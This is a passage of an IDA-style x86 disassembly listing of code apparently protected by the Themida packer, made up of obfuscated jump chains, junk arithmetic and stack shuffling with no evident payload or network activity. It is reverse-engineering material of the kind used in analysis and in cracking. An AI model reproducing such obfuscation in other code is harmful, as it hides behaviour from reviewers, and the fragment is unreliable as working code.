		mov	edx, [esp+58h+var_58]
		add	esp, 4
		add	edx, 4
		add	edx, 4
		xor	edx, [esp+0]
		jmp	loc_559B90
; ---------------------------------------------------------------------------


loc_554C83:				; CODE XREF: sub_559C84+7B7j
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_554C88:				; CODE XREF: sub_559C84+15Ej
		add	word ptr [esp+54h+var_52], 5235h
		add	word ptr [esp+54h+var_52], cx
		sub	word ptr [esp+54h+var_52], 5235h
		push	bx
		jmp	loc_55B7A4
; ---------------------------------------------------------------------------


loc_554CA2:				; CODE XREF: sub_559C84-2CC7j
		movzx	cx, al
		jmp	loc_555FEC
; ---------------------------------------------------------------------------


loc_554CAB:				; CODE XREF: sub_559C84+1421j
		pop	ebx
		sub	esp, 4
		mov	[esp+56h+var_58+2], edx
		mov	dl, 0ABh
		not	dl
		or	dl, 2Fh
		add	dl, 0A9h
		sub	dl, 0BDh
		add	dl, 0C3h
		add	bl, dl
		mov	edx, [esp+56h+var_58+2]
		jmp	loc_554DF5
; ---------------------------------------------------------------------------


loc_554CCF:				; CODE XREF: sub_559C84+1D07j
		not	ecx
		and	ecx, 28617C9Dh
		add	ecx, 3EB7CC2Fh
		jmp	loc_555CC9
; ---------------------------------------------------------------------------


loc_554CE2:				; CODE XREF: sub_559C84+4A2Ej
		xor	eax, [esp+56h+var_58+2]
		mov	esp, [esp+56h+var_58+2]
		mul	ecx
		push	ebp
		mov	ebp, esp
		push	edx
		jmp	loc_55E6EC
; ---------------------------------------------------------------------------


loc_554CF3:				; CODE XREF: sub_559C84-1BCCj
		add	esi, 258163B0h
		pop	ebx
		xor	esi, [esp+5Ah+var_5C+2]
		xor	[esp+5Ah+var_5C+2], esi
		xor	esi, [esp+5Ah+var_5C+2]
		mov	esp, [esp+5Ah+var_5C+2]
		sub	[esp+5Ah+var_5C+2], 0CC6158Dh
		push	7200h
		mov	[esp+5Eh+var_60+2], ecx
		push	1CAC02BDh
		pop	ecx
		jmp	loc_55457D
; ---------------------------------------------------------------------------


loc_554D20:				; CODE XREF: sub_559C84+37Ej
		mov	ah, 0BFh
		mov	bl, ah
		jmp	loc_55DC6B
; ---------------------------------------------------------------------------


loc_554D29:				; CODE XREF: sub_559C84-C92j
		mov	ecx, [esp+5Eh+var_60+2]
		add	esp, 4
		push	ebx
		push	7FEBh
		mov	[esp+62h+var_64+2], esp
		push	ecx
		mov	ecx, 4
		add	[esp+66h+var_64+2], ecx
		pop	ecx
		mov	ebx, [esp+62h+var_64+2]
		jmp	loc_55A470
; ---------------------------------------------------------------------------


loc_554D4B:				; CODE XREF: sub_559C84-4FAj
		mov	ecx, 6AB11B86h
		neg	ecx
		and	ecx, 5B8C51EFh
		sub	ecx, 34047B19h
		push	ebp
		push	edi
		push	537F1A37h
		jmp	loc_557B24
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_554D6A	proc near		; CODE XREF: sub_559C84+2F0Bj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 0055E7C0 SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0055FB38 SIZE 0000000B BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esi
		push	dword ptr [esp+4]
		pop	esi
		pop	[esp+4+var_4]
		jmp	loc_55FB38
sub_554D6A	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554D80:				; CODE XREF: sub_559C84+5142j
		sub	[esp+6Eh+var_70+2], eax
		add	[esp+6Eh+var_70+2], 2E900F06h
		add	[esp+6Eh+var_70+2], 1A966F45h
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_554D96:				; CODE XREF: sub_559C84-34E8j
		xor	eax, 4FA76B07h
		add	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 2F4E0C72h
		or	ebp, 5DE67DCh
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 167C1EDEh
		xor	ebp, 39A27125h
		add	edi, 17ED4256h
		jmp	loc_55F1B0
; ---------------------------------------------------------------------------


loc_554DC7:				; CODE XREF: sub_559C84-621Fj
		push	esi
		mov	esi, 4
		add	eax, esi
		jmp	loc_55C8D5
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554DD4:				; CODE XREF: Themida_:0055E762j
		add	esp, 4
		push	5A4Ah
		mov	[esp], edi
		mov	edi, 2
		add	edx, edi
		pop	edi
		xor	edx, [esp]
		xor	[esp], edx
		jmp	loc_554AD8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554DF5:				; CODE XREF: sub_559C84-4FBAj
		add	esp, 4
		sub	bl, al
		sub	bl, 2Eh
		pop	ax
		add	al, bl
		mov	ebx, [esp+50h+var_52+2]
		add	esp, 4
		push	5D4Eh
		mov	[esp+50h+var_52+2], ecx
		mov	cl, 0D4h
		neg	cl
		jmp	loc_554A22
; ---------------------------------------------------------------------------


loc_554E1B:				; CODE XREF: sub_559C84+533Bj
		pop	ecx
		or	edx, 6F4006ABh
		xor	edx, 7FEC2FAFh
		jmp	loc_55CB44
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		push	4371h
		mov	[esp], ebp
		jmp	loc_55FB01
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554E49:				; CODE XREF: sub_559C84+58ACj
		mov	edi, 736019C7h
		push	ebx
		mov	ebx, 43745012h
		and	edi, ebx
		pop	ebx
		not	edi
		inc	edi
		dec	edi
		jmp	loc_55CAF5
; ---------------------------------------------------------------------------


loc_554E60:				; CODE XREF: sub_559C84-4498j
		mov	eax, 1207254Bh
		xor	ecx, eax
		pop	eax
		jmp	loc_55E55A
; ---------------------------------------------------------------------------


loc_554E6D:				; CODE XREF: sub_559C84+3255j
		pop	bp
		add	si, 7FE3h
		shl	si, 5
		jmp	sub_559B47
; ---------------------------------------------------------------------------


loc_554E7D:				; CODE XREF: sub_559C84+3FA2j
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554E82:				; CODE XREF: Themida_:005560A0j
		sub	esp, 4
		mov	[esp], ecx
		push	12C3h
		mov	[esp], edi
		push	ecx
		mov	ecx, 26CC0FC8h
		jmp	loc_55F462
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554E9B:				; CODE XREF: sub_559C84+B98j
		pop	esp
		jmp	loc_55F9D2
; ---------------------------------------------------------------------------


loc_554EA1:				; CODE XREF: sub_559C84-5454j
		mov	edx, esp
		push	3018h
		mov	[esp+50h+var_52+2], ebx
		mov	ebx, 4
		add	edx, 379E3B4Fh
		add	edx, ebx
		sub	edx, 379E3B4Fh
		pop	ebx
		add	edx, 4
		jmp	loc_5553B8
; ---------------------------------------------------------------------------


loc_554ECA:				; CODE XREF: sub_559C84+1CB2j
		push	esi
		push	esp
		pop	esi
		jmp	loc_559A18
; ---------------------------------------------------------------------------


loc_554ED2:				; CODE XREF: sub_559C84-58C4j
		pop	ecx
		jmp	loc_559A28
; ---------------------------------------------------------------------------


loc_554ED8:				; CODE XREF: sub_559C84-525Cj
		sub	cl, 0FFh
		push	89h
		mov	[esp+4Ah+var_4A], ecx
		push	ax
		push	ebx
		mov	bh, dh
		mov	ah, bh
		mov	ebx, [esp+50h+var_52+2]
		add	esp, 4
		mov	dh, byte ptr [esp+4Ch+var_4A]
		mov	byte ptr [esp+4Ch+var_4A], ah
		pop	ax
		not	dh
		push	eax
		mov	ah, dh
		mov	dh, byte ptr [esp+4Eh+var_4A]
		jmp	loc_55517F
; ---------------------------------------------------------------------------


loc_554F0B:				; CODE XREF: sub_559C84-1718j
		mov	al, 3Fh
		sub	al, 0DAh
		shl	al, 8
		inc	al
		add	al, 0
		add	dh, al
		pop	eax
		and	dh, 1Eh
		push	eax
		mov	al, 4Ch
		neg	al
		sub	al, 8Ah
		or	al, 63h
		dec	al
		xor	al, 23h
		xor	dh, al
		pop	eax
		sub	al, dh
		pop	edx
		push	eax
		push	3FEBh
		mov	[esp+4Eh+var_4E], esp
		add	[esp+4Eh+var_4E], 4
		pop	eax
		push	esi
		mov	esi, 77F1355Bh
		shl	esi, 7
		add	esi, 5FCA2BC5h
		push	4DF7h
		mov	[esp+52h+var_52], edx
		mov	edx, 5864D941h
		xor	esi, edx
		jmp	loc_556B8D
; ---------------------------------------------------------------------------


loc_554F63:				; CODE XREF: sub_559C84-291Bj
		mov	edx, [esp+52h+var_52]
		add	esp, 4
		shl	edx, 4
		add	edx, 1
		add	edx, 0FFFFFFFFh
		push	esi
		mov	esi, 87924674h
		jmp	loc_558533
; ---------------------------------------------------------------------------


loc_554F83:				; CODE XREF: sub_559C84+1289j
		mov	edi, 1FFF6264h
		sub	esi, edi
		pop	edi
		add	esi, edx
		add	esi, 1FFF6264h
		mov	edx, [esp+4Eh+var_4E]
		push	eax
		mov	eax, esp
		jmp	loc_55EBD3
; ---------------------------------------------------------------------------


loc_554F9E:				; CODE XREF: sub_559C84+3F8Bj
		xor	eax, 0C6341A17h
		mov	esi, eax
		pop	eax
		neg	esi
		add	esi, 50557CE5h
		sub	edx, 7F590390h
		add	edx, 2A8F4C09h
		sub	edx, esi
		sub	edx, 2A8F4C09h
		jmp	sub_555089
; ---------------------------------------------------------------------------


loc_554FC7:				; CODE XREF: sub_559C84+41F1j
		pop	ecx
		pop	edi
		jmp	loc_5571D7
; ---------------------------------------------------------------------------


loc_554FCE:				; CODE XREF: sub_559C84+2092j
		add	[esp+46h+var_46], 4
		pop	ebx
		push	eax
		push	esi
		mov	esi, 694E2D80h
		push	esi
		jmp	loc_55B310
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_554FE3:				; CODE XREF: Themida_:00553E2Aj
		mov	edi, 4
		sub	esi, 2C5745A3h
		jmp	loc_55B16C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_554FF3:				; CODE XREF: sub_559C84-468Ej
		pop	ebx
		push	edi
		mov	edi, 23395854h
		jmp	loc_55F3BF
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E51A


loc_554FFF:				; CODE XREF: sub_55E51A+6j
		push	esp
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		jmp	near ptr unk_5537FA
; END OF FUNCTION CHUNK	FOR sub_55E51A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_557976


loc_555012:				; CODE XREF: sub_557976+1A64j
		xor	bl, dh
		jmp	loc_557346
; END OF FUNCTION CHUNK	FOR sub_557976
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555019:				; CODE XREF: sub_559C84+5700j
		mov	edi, 379751B8h
		shr	edi, 5
		xor	edi, 0DB770DB4h
		jmp	loc_555FFD
; ---------------------------------------------------------------------------


loc_55502C:				; CODE XREF: sub_559C84+E45j
		pop	eax
		jmp	loc_557F99
; ---------------------------------------------------------------------------


loc_555032:				; CODE XREF: sub_559C84+5E7j
		and	ah, ch
		pop	ecx
		add	ah, 8
		sub	ah, 0CDh
		jmp	loc_55A886
; ---------------------------------------------------------------------------


loc_555040:				; CODE XREF: sub_559C84+1007j
		xor	edi, 0E51273Bh
		jmp	loc_55427B
; ---------------------------------------------------------------------------


loc_55504B:				; CODE XREF: sub_559C84+5021j
		push	62D6h
		mov	[esp+4Ah+var_4A], esp
		jmp	loc_55CD02
; ---------------------------------------------------------------------------


loc_555058:				; CODE XREF: sub_559C84-29C3j
		add	esp, 4
		add	esi, ebp
		jmp	loc_55D812
; ---------------------------------------------------------------------------


loc_555062:				; CODE XREF: sub_559C84-6657j
		mov	edi, 2D622528h
		xchg	ecx, edi
		not	ecx
		xchg	ecx, edi
		inc	edi
		dec	edi
		sub	edi, 0FFFFFFFFh
		add	edi, 1
		add	edi, 940226A2h
		mov	ecx, edi
		pop	edi
		jmp	loc_55F842
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555089	proc near		; CODE XREF: sub_559C84-4CC2j
		push	ebp
		mov	ebp, 7F590390h
		add	edx, ebp
		pop	ebp
		mov	esi, [esp+0]
		add	esp, 4
		jmp	loc_55351F
sub_555089	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5550A0:				; CODE XREF: sub_559C84-4118j
		push	esi
		push	761C19B0h
		pop	esi
		or	esi, 59AC2363h
		jmp	loc_55F46D
; ---------------------------------------------------------------------------


loc_5550B2:				; CODE XREF: sub_559C84-345j
		and	eax, 5F301B95h
		or	eax, 7C1347Bh
		jmp	loc_55429D
; ---------------------------------------------------------------------------


loc_5550C1:				; CODE XREF: sub_559C84+207Aj
		mov	eax, 25486A49h
		not	eax
		or	eax, 7515176h
		add	eax, 7BE20B7Dh
		jmp	loc_55BFF8
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5550D7:				; DATA XREF: Themida_:00553278o
		xor	[esp], ax
		xor	ax, [esp]
		xor	[esp], ax
		sub	esp, 2
		mov	[esp], ax
		push	dx
		push	small word ptr [esp+2]
		pop	dx
		pop	small word ptr [esp]
		push	dx
		xchg	ax, [esp]
		xchg	ax, bx
		not	bx
		jmp	loc_5545D5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555107:				; CODE XREF: sub_559C84-5CBBj
		dec	edx
		jmp	loc_55C31F
; ---------------------------------------------------------------------------


loc_55510D:				; CODE XREF: sub_559C84-B3Bj
		mov	edi, ecx
		pop	ecx
		jmp	loc_55A6FF
; ---------------------------------------------------------------------------


loc_555115:				; CODE XREF: sub_559C84+5B34j
		xchg	ebx, [esp-0Ah+arg_4+2]
		pop	esp
		and	eax, ebp
		jmp	loc_55A05A
; ---------------------------------------------------------------------------


loc_555120:				; CODE XREF: sub_559C84-17Cj
		xor	eax, edi
		xor	edi, eax
		shl	edi, 8
		xor	edi, 3D0D2E00h
		and	eax, edi
		mov	edi, [esp-0Eh+arg_8+2]
		jmp	loc_55F16B
; ---------------------------------------------------------------------------


loc_555137:				; CODE XREF: sub_559C84+208Aj
		add	ebp, edi
		sub	ebp, 65732130h
		pop	edi
		push	371Dh
		mov	[esp-0Eh+arg_8+2], ebx
		mov	ebx, 2
		add	ebp, ebx
		pop	ebx
		push	edi
		jmp	loc_557A6F
; ---------------------------------------------------------------------------


loc_555156:				; CODE XREF: sub_559C84+2F5j
		mov	esi, ebp
		pop	ebp
		jmp	loc_557183
; ---------------------------------------------------------------------------


loc_55515E:				; CODE XREF: sub_559C84+D5Cj
		add	edi, 4
		add	edi, 4
		jmp	loc_556885
; ---------------------------------------------------------------------------


loc_55516C:				; CODE XREF: sub_559C84+3636j
		not	ecx
		or	ecx, 2B3938C7h
		sub	ecx, 0FFFFFCEBh
		jmp	loc_55EE2B
; ---------------------------------------------------------------------------


loc_55517F:				; CODE XREF: sub_559C84-4D7Ej
		mov	byte ptr [esp+4Eh+var_4A], ah
		pop	eax
		pop	ecx
		jmp	loc_558DC1
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
		mov	ecx, [esp]
		push	ebp
		jmp	loc_55C412
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555193:				; CODE XREF: sub_559C84+4B37j
		push	[esp+46h+var_46]
		pop	edi
		add	esp, 4
		and	ecx, 1F937B3Dh
		jmp	loc_55B892
; ---------------------------------------------------------------------------


loc_5551A5:				; CODE XREF: sub_559C84+3342j
		pop	edx
		shr	edx, 7
		add	edx, 7C8D6C29h
		add	edx, 0B5C27F94h
		mov	ecx, edx
		jmp	loc_55BD38
; ---------------------------------------------------------------------------


loc_5551BC:				; CODE XREF: sub_559C84+2EFDj
		sub	[esp+3Eh+var_3E], 49A0615Eh
		mov	eax, [esp+3Eh+var_3E]
		jmp	sub_55598B
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5547B0


loc_5551CB:				; CODE XREF: sub_5547B0+4j
		mov	esi, 20011E8Ch
		dec	esi
		add	esi, 0DFFEE179h
		add	ebp, 2724257Dh
		add	ebp, esi
		sub	ebp, 2724257Dh
		pop	esi
		push	esi
		push	eax
		push	ecx
		mov	ecx, 10A31163h
		xor	ecx, 19B3799Ch
		mov	eax, ecx
		pop	ecx
		mov	esi, 7D276D2Ah
		jmp	loc_556C4E
; END OF FUNCTION CHUNK	FOR sub_5547B0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555201:				; CODE XREF: sub_559C84-2931j
		push	dword ptr [eax]
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555208:				; CODE XREF: sub_559C84+4CEj
		xor	[esp+42h+var_42], ebp
		xor	ebp, [esp+42h+var_42]
		mov	esp, [esp+42h+var_42]
		imul	ecx
		push	3D3Bh
		mov	[esp+46h+var_46], ebp
		push	esp
		pop	ebp
		push	esi
		mov	esi, 4
		sub	ebp, 4A77773Eh
		add	ebp, esi
		add	ebp, 4A77773Eh
		mov	esi, [esp+4Ah+var_4A]
		push	242Ah
		jmp	loc_5566EC
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_55523E	proc near		; CODE XREF: sub_559C84-3F2j
		push	bx
		mov	bh, 0B0h
		jmp	loc_55A684
sub_55523E	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555247:				; CODE XREF: sub_559C84-E9Dj
		mov	ebx, 4
		jmp	loc_555350
; ---------------------------------------------------------------------------


loc_555251:				; CODE XREF: sub_559C84+5DD1j
		xchg	eax, [esp+4Eh+var_4E]
		mov	esp, [esp+4Eh+var_4E]
		or	byte ptr [esp+4Eh+var_4E], al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_555260:				; CODE XREF: sub_559C84-454j
		mov	esi, esp
		add	esi, 4
		jmp	loc_559B54
; ---------------------------------------------------------------------------


loc_55526D:				; CODE XREF: sub_559C84+5C6Aj
		xor	ecx, eax
		pop	eax
		add	eax, 46536CD3h
		jmp	loc_5569A5
; ---------------------------------------------------------------------------


loc_55527A:				; CODE XREF: sub_559C84+1F23j
		mov	bl, 0F8h
		mov	al, 0D8h
		jmp	loc_55E3D5
; ---------------------------------------------------------------------------


loc_555283:				; CODE XREF: sub_559C84-3C54j
		push	ecx
		push	edx
		pop	ecx
		mov	ebx, ecx
		push	[esp+52h+var_52]
		pop	ecx
		push	ecx
		mov	ecx, esp
		jmp	loc_558390
; ---------------------------------------------------------------------------


loc_555294:				; CODE XREF: sub_559C84-46Aj
		push	edx
		push	edi
		push	8143DFh
		pop	edi
		jmp	loc_556D66
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_55E640


loc_5552A1:				; CODE XREF: sub_55E640+Ej
		sub	ecx, 312536B2h
		shr	ecx, 3
		add	ecx, 67F41474h
		push	ebp
		mov	ebp, 713C4B23h
		inc	ebp
		not	ebp
		or	ebp, 583D379Bh
		or	ebp, 11D42E76h
		jmp	loc_559EBE
; END OF FUNCTION CHUNK	FOR sub_55E640
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5552CA:				; CODE XREF: sub_559C84-483Cj
		mov	[esp+5Eh+var_60+2], edx
		push	esi
		mov	esi, 52A94C13h
		shr	esi, 6
		jmp	loc_557CB1
; ---------------------------------------------------------------------------


loc_5552DB:				; CODE XREF: sub_559C84+1B0Ej
		xor	byte ptr [esp+62h+var_64+2], al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5552E4:				; CODE XREF: sub_559C84-5F5Ej
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp+20h+var_20]
		jmp	loc_556839
; ---------------------------------------------------------------------------


loc_5552F5:				; CODE XREF: sub_559C84-6389j
		add	bl, 9
		jmp	loc_55BC08
; ---------------------------------------------------------------------------


loc_5552FD:				; CODE XREF: sub_559C84+2303j
		push	5EFAh
		mov	[esp+4Ch+var_4E+2], ebx
		mov	ebx, 340F3BABh
		push	esi
		mov	esi, 1A543B1h
		shr	esi, 7
		or	esi, 6C143EFAh
		push	eax
		mov	eax, offset byte_5B067F
		xor	esi, eax
		pop	eax
		or	ebx, esi
		pop	esi
		inc	ebx
		inc	ebx
		push	eax
		mov	eax, 3BAF23DEh
		sub	eax, 0BDAA1026h
		add	ebx, eax
		pop	eax
		push	edx
		mov	edx, 74B9294Bh
		or	edx, 6E640196h
		shr	edx, 3
		jmp	loc_557CDC
; ---------------------------------------------------------------------------


loc_555349:				; CODE XREF: sub_559C84-2627j
		mov	dh, 4Ah
		jmp	loc_55643C
; ---------------------------------------------------------------------------


loc_555350:				; CODE XREF: sub_559C84-4A38j
		add	ecx, ebx
		pop	ebx
		push	3FCAh
		jmp	loc_5542C5
; ---------------------------------------------------------------------------


loc_55535D:				; CODE XREF: sub_559C84+88Bj
		push	edx
		mov	dh, bl
		not	dh
		jmp	loc_55B545
; ---------------------------------------------------------------------------


loc_555367:				; CODE XREF: sub_559C84+5D9Cj
		sub	eax, 77B779D3h
		add	eax, 220F55h
		sub	eax, edi
		sub	eax, 220F55h
		push	ebp
		jmp	loc_55B8EE
; ---------------------------------------------------------------------------


loc_55537E:				; CODE XREF: sub_559C84-55CDj
		xchg	ebx, [esp+3Ch+var_3E+2]
		mov	esp, [esp+3Ch+var_3E+2]
		mov	[esp+3Ch+var_3E+2], esi
		push	esp
		pop	esi
		jmp	loc_55DADE
; ---------------------------------------------------------------------------


loc_55538E:				; CODE XREF: sub_559C84-432j
		sub	edi, 665B788Bh
		jmp	loc_558B45
; ---------------------------------------------------------------------------


loc_555399:				; CODE XREF: sub_559C84+3FE2j
		add	esp, 4
		push	eax
		jmp	sub_558204
; ---------------------------------------------------------------------------


loc_5553A2:				; CODE XREF: sub_559C84-3EBj
		pop	edi
		add	esi, eax
		add	esi, 0C1A6D1Bh
		pop	eax
		xchg	esi, [esp+34h+var_34]
		pop	esp
		cmp	cl, al
		pushf
		jmp	loc_55351F
; ---------------------------------------------------------------------------


loc_5553B8:				; CODE XREF: sub_559C84-4DBFj
		xchg	edx, [esp+4Ch+var_4E+2]
		mov	esp, [esp+4Ch+var_4E+2]
		push	0A3h
		mov	[esp+50h+var_52+2], eax
		jmp	loc_55351F
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5553CB	proc near		; CODE XREF: sub_559C84+93Fj

var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00557E31 SIZE 0000001C BYTES

		sub	esp, 4
		mov	[esp+4+var_4], edi
		mov	edi, 0F213F485h
		jmp	loc_557E31
sub_5553CB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5553DB:				; CODE XREF: sub_559C84-372Ej
		sub	ecx, edi
		pop	edi
		push	ebx
		mov	ebx, ecx
		mov	eax, ebx
		pop	ebx
		pop	ecx
		jmp	sub_5597C1
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_5553EA	proc near		; CODE XREF: sub_559C84-220j

arg_0		= dword	ptr  4

; FUNCTION CHUNK AT 0055785C SIZE 00000017 BYTES
; FUNCTION CHUNK AT 0055E1E9 SIZE 00000010 BYTES

		push	ebx
		mov	ebx, 4
		jmp	loc_55785C
sub_5553EA	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5553F5:				; CODE XREF: sub_559C84+4630j
		sub	bl, 0FAh
		sub	dh, 14h
		sub	dh, bl
		add	dh, 14h
		mov	ebx, [esp+48h+var_4A+2]
		add	esp, 4
		add	bl, dh
		pop	edx
		sub	bl, 41h
		jmp	loc_556D74
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5591C7


loc_555414:				; CODE XREF: sub_5591C7-5027j
		mov	edi, 54C922CBh
		neg	edi
		sub	edi, 79188614h
		jmp	loc_557632
; END OF FUNCTION CHUNK	FOR sub_5591C7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555426:				; CODE XREF: sub_559C84+428j
		add	esi, eax
		pop	eax
		sub	esp, 4
		mov	[esp+40h+var_42+2], esi
		sub	[esp+40h+var_42+2], 74473CD7h
		push	[esp+40h+var_42+2]
		pop	edi
		add	esp, 4
		push	7283h
		jmp	loc_5552CA
; ---------------------------------------------------------------------------


loc_55544D:				; CODE XREF: sub_559C84-107j
		add	edx, 2
		xor	edx, [esp+40h+var_42+2]
		jmp	loc_55CC0A
; ---------------------------------------------------------------------------


loc_55545B:				; CODE XREF: sub_559C84+3F22j
		pop	esp
		push	esi
		push	3D1Ch
		mov	[esp+44h+var_46+2], esp
		jmp	loc_557F1F
; ---------------------------------------------------------------------------


loc_55546A:				; CODE XREF: sub_559C84+42EEj
		sub	esi, 6B736177h
		jmp	loc_55D61A
; ---------------------------------------------------------------------------


loc_555475:				; CODE XREF: sub_559C84-1F04j
		add	edx, 2
		jmp	loc_5558ED
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_55547D:				; CODE XREF: Themida_:00553951j
		add	esp, 4
		push	1ECEh
		mov	[esp], edi
		push	30F5h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_55A17B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_5554AD:				; CODE XREF: sub_559C84-4146j
		add	ecx, 4
		xchg	ecx, [esp+44h+var_46+2]
		pop	esp
		sub	esp, 4
		jmp	loc_55D931
; ---------------------------------------------------------------------------


loc_5554BC:				; CODE XREF: sub_559C84-5B51j
		pop	eax
		push	edx
		jmp	loc_55EE15
; ---------------------------------------------------------------------------


loc_5554C3:				; CODE XREF: sub_559C84-167Cj
		push	eax
		mov	al, 0F3h
		jmp	loc_558804
; END OF FUNCTION CHUNK	FOR sub_559C84
; ---------------------------------------------------------------------------


loc_5554CB:				; CODE XREF: Themida_:00558ED7j
		pop	edx
		sub	ch, 1
		push	edx
		mov	dl, 2Fh
		add	dl, 16h
		and	ch, dl
		pop	edx
		shl	ch, 3
		push	edx
		mov	dh, 68h
		sub	dh, 1
		sub	dh, 0E1h
		xor	dh, 2Bh
		push	cx
		jmp	loc_558117
; ---------------------------------------------------------------------------


loc_5554EE:				; CODE XREF: Themida_:00558BE0j
		add	edx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		jmp	loc_55E499
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_55550C:				; CODE XREF: sub_559C84+367Fj
		sub	dh, cl
		jmp	loc_55EE52
; ---------------------------------------------------------------------------


loc_555513:				; CODE XREF: sub_559C84+34A3j
		xor	[esp+0Ch+var_C], 96F4C55h
		pop	eax
		sub	esp, 4
		mov	[esp+0Ch+var_C], ecx
		jmp	loc_55A427
; ---------------------------------------------------------------------------


loc_555529:				; CODE XREF: sub_559C84-46FBj
		shr	ch, 8
		jmp	loc_55DFFC
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555531	proc near		; CODE XREF: sub_559C84-557Bj

; FUNCTION CHUNK AT 0055397D SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00558791 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0055E783 SIZE 00000007 BYTES

		push	ebp
		jmp	loc_558791
sub_555531	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555537:				; CODE XREF: sub_559C84+1960j
		mov	ecx, [esp+0Ch+var_C]
		add	esp, 4
		xor	ebx, eax
		jmp	loc_557D33
; ---------------------------------------------------------------------------


loc_555544:				; CODE XREF: sub_559C84+2FA7j
		push	[esp+8+var_4]
		pop	edx
		pop	[esp+8+var_8]
		jmp	loc_55C369
; ---------------------------------------------------------------------------


loc_555551:				; CODE XREF: sub_559C84+2696j
		push	esp
		pop	edx
		jmp	loc_55C847
; ---------------------------------------------------------------------------


loc_555558:				; CODE XREF: sub_559C84+1223j
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	ecx
		mov	ecx, 7FEA3F55h
		push	ebp
		mov	ebp, 7FEA3F51h
		sub	ecx, ebp
		jmp	loc_55E09F
; END OF FUNCTION CHUNK	FOR sub_559C84

; =============== S U B	R O U T	I N E =======================================



sub_555570	proc near		; CODE XREF: sub_559C84-CFj
		push	ebp
		mov	ebp, 64D73902h
		mov	ebx, 0FC7D3873h
		add	ebx, ebp
		pop	ebp
		jmp	loc_55CD1E
sub_555570	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_559C84


loc_555583:				; CODE XREF: sub_559C84-38B6j
		pop	eax
		pop	edx
		pop	eax
		push	ecx
		mov	ch, 4Fh
		jmp	loc_555529
; ---------------------------------------------------------------------------


loc_55558E:				; CODE XREF: sub_559C84+21C9j
		add	esp, 4
		and	eax, ecx
		pop	ecx
		jmp	loc_55F995
